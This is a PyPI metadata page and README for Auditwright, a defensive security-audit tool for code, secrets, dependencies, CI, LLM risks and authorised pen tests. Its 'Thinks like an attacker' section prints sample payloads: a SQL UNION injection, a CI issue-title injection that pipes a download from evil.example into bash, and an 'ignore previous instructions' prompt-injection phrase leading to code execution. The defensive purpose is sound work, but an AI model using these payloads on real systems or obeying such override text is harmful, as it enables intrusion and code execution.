Metadata-Version: 2.5
Name: auditwright
Version: 0.1.0
Summary: Security audit that thinks like an attacker: taint-tracked code analysis, secrets (including git history), vulnerable and malicious dependencies, CI/Docker/Kubernetes/Terraform misconfigurations, AI/LLM risks, attack-path chaining, authorised web pen tests and network exposure scans, test runs and generated security tests. HTML dashboard, SARIF, JUnit, Markdown, JSON and CSV reports. Zero dependencies.
Project-URL: Homepage, https://github.com/shah2017/auditwright
Project-URL: Documentation, https://github.com/shah2017/auditwright/tree/main/docs
Project-URL: Issues, https://github.com/shah2017/auditwright/issues
Project-URL: Security, https://github.com/shah2017/auditwright/security/policy
Author: Prayash Bikram Shah
License-Expression: Apache-2.0
License-File: LICENSE
License-File: NOTICE
Keywords: attack-path,devsecops,llm-security,network-scanner,pentest,sarif,sast,sca,secrets,security,test-generation,vulnerability-scanner
Classifier: Development Status :: 4 - Beta
Classifier: Environment :: Console
Classifier: Intended Audience :: Developers
Classifier: Intended Audience :: Information Technology
Classifier: Operating System :: OS Independent
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3 :: Only
Classifier: Topic :: Security
Classifier: Topic :: Software Development :: Quality Assurance
Classifier: Topic :: Software Development :: Testing
Classifier: Typing :: Typed
Requires-Python: >=3.11
Provides-Extra: dev
Requires-Dist: build>=1.2; extra == 'dev'
Requires-Dist: pip-audit>=2.7; extra == 'dev'
Requires-Dist: pytest>=8; extra == 'dev'
Requires-Dist: ruff>=0.6; extra == 'dev'
Description-Content-Type: text/markdown

# Auditwright

**One command. A full security audit of your project, and a report you will actually want to read.**

Auditwright looks at your software the way an attacker does. It scans code for injection flaws with
real taint tracking, leaked secrets (including git history), vulnerable and malicious dependencies, CI,
container and cloud misconfigurations, AI and LLM risks, hidden-character attacks and quantum-vulnerable
cryptography; it pen-tests live sites and scans your network for exposed, unauthenticated services. Then it
**connects the dots into attack paths** and tells you, for every finding, **how an attacker would use it**.
It also runs your test suites and generates new edge-case and security tests. Everything ends up in one
report: a dashboard-grade HTML page plus SARIF, JUnit, Markdown, JSON and CSV.

[![CI](https://github.com/shah2017/auditwright/actions/workflows/ci.yml/badge.svg)](https://github.com/shah2017/auditwright/actions/workflows/ci.yml)
[![PyPI](https://img.shields.io/pypi/v/auditwright)](https://pypi.org/project/auditwright/)
[![OpenSSF Scorecard](https://api.scorecard.dev/projects/github.com/shah2017/auditwright/badge)](https://scorecard.dev/viewer/?uri=github.com/shah2017/auditwright)
![Python](https://img.shields.io/badge/python-3.11%E2%80%933.14-blue)
![Dependencies](https://img.shields.io/badge/runtime%20dependencies-0-brightgreen)
![License](https://img.shields.io/badge/license-Apache%202.0-green)

![Auditwright report overview: risk grade, threat level, attack surface and OWASP heatmaps](docs/assets/report-overview.png)

---

## Quick start

```bash
pip install auditwright
auditwright full                       # scan the current project, write every report format
open auditwright-report/auditwright.html
```

That is it. No configuration, no account, no server, and no third-party Python packages: Auditwright is
written entirely on the Python standard library, so it adds nothing to your supply chain.

## What it checks

| Area | What you get |
|---|---|
| **Code security** | Python analysed on its syntax tree with intra-procedural **taint tracking** from web requests, route parameters and serverless events into 30+ sinks: shell, `eval`, SQL, file paths, outbound requests (SSRF), templates (SSTI), markup (XSS), redirects, deserialisation. Rules for JavaScript/TypeScript, Go, PHP, Ruby, Java/Kotlin, C# and shell. |
| **AI and LLM risks** | Model output flowing into shell, `exec`, SQL, HTML, URLs or file paths; user input in system prompts; `trust_remote_code=True`; pickled model files. Mapped to the OWASP Top 10 for LLM Applications. |
| **Secrets** | 29 detectors (cloud, VCS, payment, messaging, LLM providers, private keys, JWTs, connection strings) plus an entropy-gated generic detector. Optional **git history** scan. Values are always redacted in reports. |
| **Dependencies** | Self-contained parsers for 14 lockfile formats (pip, Poetry, uv, PDM, Pipenv, npm, Yarn, pnpm, Cargo, Go, Bundler, Composer, NuGet, Gradle) checked against [OSV](https://osv.dev) in batches. Severity from CVSS, fixed versions, and a separate alert for **known malicious packages**. Lockfile hygiene: missing lockfiles, plain-HTTP downloads, mutable git dependencies, missing integrity hashes. |
| **CI, containers, IaC** | GitHub Actions script injection, `pull_request_target` checkouts, unpinned actions, write-all tokens, leaked secrets in logs. Dockerfiles, docker-compose, Kubernetes, Terraform, web server configs, registry tokens in `.npmrc`. |
| **Hidden characters** | Trojan Source bidi overrides, invisible Unicode **tag-character prompt smuggling** (decoded for you), zero-width characters, mixed-script homoglyph identifiers. |
| **Cryptography** | Weak ciphers, ECB, short RSA keys, static IVs, and a **post-quantum readiness inventory** of every RSA, elliptic-curve and Diffie-Hellman use. |
| **Tests** | Detects and runs pytest (with branch coverage), unittest, Jest, Vitest, `go test` and `cargo test`, and puts the results in the same report. |
| **Generated tests** | Writes pytest edge-case and security tests for untested Python functions, typed from their hints: boundary numbers, NaN, huge inputs, path traversal, injection strings, null bytes, hidden Unicode. Every call is time-boxed so hangs and ReDoS show up as failures. Functions with side effects are never called. |
| **Network scan** | Live hosts and open ports on networks you own; databases, caches, container and cluster APIs that answer **without authentication** (Redis, MongoDB, Elasticsearch, CouchDB, Docker, kubelet, memcached, MQTT, rsync), anonymous FTP, Telnet, old SSH, exposed RDP/VNC/SMB, admin consoles, web services without TLS. Read-only probes only. |
| **Live pen test** | Non-destructive checks of a site you own: TLS, HTTPS redirect, HSTS, CSP quality, clickjacking, cookies, CORS origin reflection, exposed `.git`/`.env`/backups/debug consoles, verbose errors, open redirects, reflected input, GraphQL introspection, `security.txt`. |

229 rules, each with a CWE, an OWASP mapping and a concrete fix. See [docs/rules.md](docs/rules.md).

## Thinks like an attacker

Scanners usually hand you a list of rule names. Auditwright explains impact the way an intruder sees it:

- **Every finding says how it is exploited**, with a concrete payload: *"Send `' UNION SELECT username,
  password_hash FROM users--`"*, *"Open an issue titled `"; curl -sSfL evil.example/x | bash #`"*,
  *"Hide `ignore previous instructions...` in a page the model reads; your code executes the reply."*
- **Attack paths** connect findings that are far worse together than apart, from entry point to impact:
  prompt injection to remote code execution, SSRF to cloud credential theft, fork pull request to repository
  takeover, leaked secret to account takeover, forged session to admin access, upload to web shell, exposed
  services to network takeover.
- **Unusual attack classes** most scanners skip: mass assignment, HTTP header injection, Python format-string
  attribute leaks, user-supplied regexes, code downloaded and executed at run time, admin routes without
  authentication, weak JWT keys, web-shell uploads, Unicode tag-character prompt smuggling, homoglyph
  identifiers, CI script injection and artifact poisoning.

![Attack paths: entry point to impact](docs/assets/report-attack-paths.png)

## The report

The HTML report is a single self-contained file built like a security operations dashboard:

- a **risk grade and score**, a threat-level banner and a "fix first" list
- an **attack-surface** status board and **OWASP Top 10** and **OWASP LLM Top 10** heatmaps
- every finding with the offending line, CWE and OWASP tags, confidence and the fix
- dependency, cryptography (post-quantum) and test panels
- severity filters, light and dark themes, and a layout that works on phones, all **without JavaScript**

It is safe to open and share: a strict Content-Security-Policy allows nothing but its own stylesheet,
everything from the scanned code is escaped, secrets are redacted, and the report shows the project
name, not your local paths.

<p align="center">
  <img src="docs/assets/report-findings.png" alt="Findings list with severity filters" width="72%">
  <img src="docs/assets/report-mobile.png" alt="The report on a phone" width="24%">
</p>

| Format | File | Use it for |
|---|---|---|
| HTML | `auditwright.html` | People: the dashboard above |
| SARIF 2.1.0 | `auditwright.sarif` | GitHub code scanning, IDEs, other security platforms |
| JUnit XML | `auditwright.junit.xml` | CI test views (findings appear as failing tests) |
| Markdown | `auditwright.md` | Pull-request comments and job summaries |
| JSON | `auditwright.json` | Automation and dashboards |
| CSV | `auditwright.csv` | Spreadsheets (formula injection neutralised) |

## Commands

```bash
auditwright scan [path]                 # static audit, terminal output (add -f html,sarif,... for files)
auditwright full [path]                 # scan + every report format
auditwright full --run-tests            # ...and run the project's tests (executes project code)
auditwright full --pentest https://staging.example.com --i-am-authorized
auditwright test [path]                 # run the test suites and report results and coverage
auditwright gen-tests [path] [--write]  # preview or write generated edge-case tests
auditwright pentest https://example.com --i-am-authorized
auditwright netscan 192.168.1.0/24 --i-am-authorized [--web]   # your own network
auditwright baseline                    # accept today's findings; later scans show only new ones
auditwright rules [--format md|json]    # list every rule
auditwright init                        # starter auditwright.json
auditwright doctor                      # environment check
```

Useful options: `--history` (scan git history for secrets), `--offline` (no vulnerability lookups),
`--only code,secrets` / `--skip deps`, `--exclude PATH`, `--baseline FILE`, `--fail-on high`,
`--name "Display name"`. Exit codes: `0` clean, `1` findings at or above `--fail-on` (or failing tests),
`2` error. Full reference: [docs/commands.md](docs/commands.md).

## In CI

**GitHub Actions** (uploads SARIF to code scanning, attaches the HTML report, writes a job summary):

```yaml
permissions:
  contents: read
  security-events: write
jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          persist-credentials: false
      - uses: shah2017/auditwright@v0.1.0
        with:
          fail-on: high
```

**pre-commit:**

```yaml
repos:
  - repo: https://github.com/shah2017/auditwright
    rev: v0.1.0
    hooks:
      - id: auditwright           # or auditwright-secrets for a fast secrets-only check
```

**Anywhere else:** `pip install auditwright && auditwright scan --format sarif,junit,html -o reports --fail-on high`.
See [docs/ci.md](docs/ci.md) for GitLab, baselines and pull-request-only gating.

## Configuration

Optional `auditwright.json` in the project root:

```json
{
  "exclude": ["fixtures/", "*.min.js"],
  "disable": ["AW-PQ-001"],
  "severity": {"AW-GHA-005": "info"},
  "ignore": [{"rule": "AW-PY-004", "path": "scripts/", "reason": "admin-only tooling"}],
  "fail_on": "high",
  "baseline": ".auditwright-baseline.json"
}
```

Single lines can be suppressed inline with `# auditwright: ignore[AW-PY-001]` (or `// ...`).
See [docs/configuration.md](docs/configuration.md).

## Python API

```python
from pathlib import Path
from auditwright import Options, scan
from auditwright.report.html import render

report = scan(Path("."), Options(offline=True))
print(report.counts())
Path("report.html").write_text(render(report), encoding="utf-8")
```

## Safe by design

Auditwright reads untrusted code for a living, so it is built to be hard to turn against you:

- `scan` never executes project code. Tests run only when you ask (`test`, `--run-tests`).
- Git history is read with external diff drivers, text-conversion filters, pagers and fsmonitor
  disabled, so a malicious repository cannot make git run commands.
- Every regular expression runs per line without nested quantifiers (linear time); files are size-capped;
  symlinks are never followed out of the project.
- Network access goes only to `api.osv.dev` (skip it with `--offline`), with TLS verification, time-outs and size caps.
- The pen tester refuses to run without `--i-am-authorized`, stays on one origin, never follows
  redirects, sends a bounded number of non-destructive requests and waits between them.
- The network scanner also requires `--i-am-authorized`, scans only private ranges unless you pass
  `--allow-public`, caps the number of hosts, and uses read-only handshakes (no password guessing, no exploits).
- Zero runtime dependencies; releases are built in CI and published with PyPI Trusted Publishing.

Read the [threat model](docs/threat-model.md).

## How it compares

| | Auditwright | Single-purpose tools |
|---|---|---|
| Code, secrets, dependencies, IaC, AI risks, crypto, tests, pen test | One tool, one report | Five or more tools and five report formats |
| Python taint tracking into LLM-specific sinks | Yes | Rare |
| Post-quantum crypto inventory | Yes | Rare |
| Test generation from type hints, with side-effect safety | Yes | Separate tooling |
| Runtime dependencies | 0 | Often dozens |

Dedicated tools go deeper in their own lane (for example full inter-procedural analysis or huge rule
catalogues), and Auditwright's SARIF output sits happily next to them. Auditwright's strength is breadth,
signal quality and a report people can act on.

## Limitations

- Taint tracking is intra-procedural (within a function) and Python-only; other languages use line rules.
- Static analysis cannot prove the absence of vulnerabilities and can report false positives.
  Use the confidence field, suppressions and baselines to tune it.
- The pen tester and network scanner are misconfiguration and exposure checks, not a replacement for a
  human-led penetration test. The network scanner checks TCP services only.
- Test generation targets Python functions with type hints.

## Documentation

[Getting started](docs/getting-started.md) ·
[Commands](docs/commands.md) ·
[Reports](docs/reports.md) ·
[Rules](docs/rules.md) ·
[CI](docs/ci.md) ·
[Configuration](docs/configuration.md) ·
[How it works](docs/how-it-works.md) ·
[Pen testing](docs/pentest.md) ·
[Network scanning](docs/netscan.md) ·
[Test generation](docs/test-generation.md) ·
[Threat model](docs/threat-model.md) ·
[FAQ](docs/faq.md)

## Reporting problems

- **Wrong result** (false positive, missed issue): open a "Wrong result" issue with a minimal example.
- **Bugs and feature requests:** use the issue forms; include `auditwright doctor` output.
- **Vulnerabilities in Auditwright:** report privately via the Security tab. See [SECURITY.md](SECURITY.md).

## License

Apache License 2.0. See [LICENSE](LICENSE).
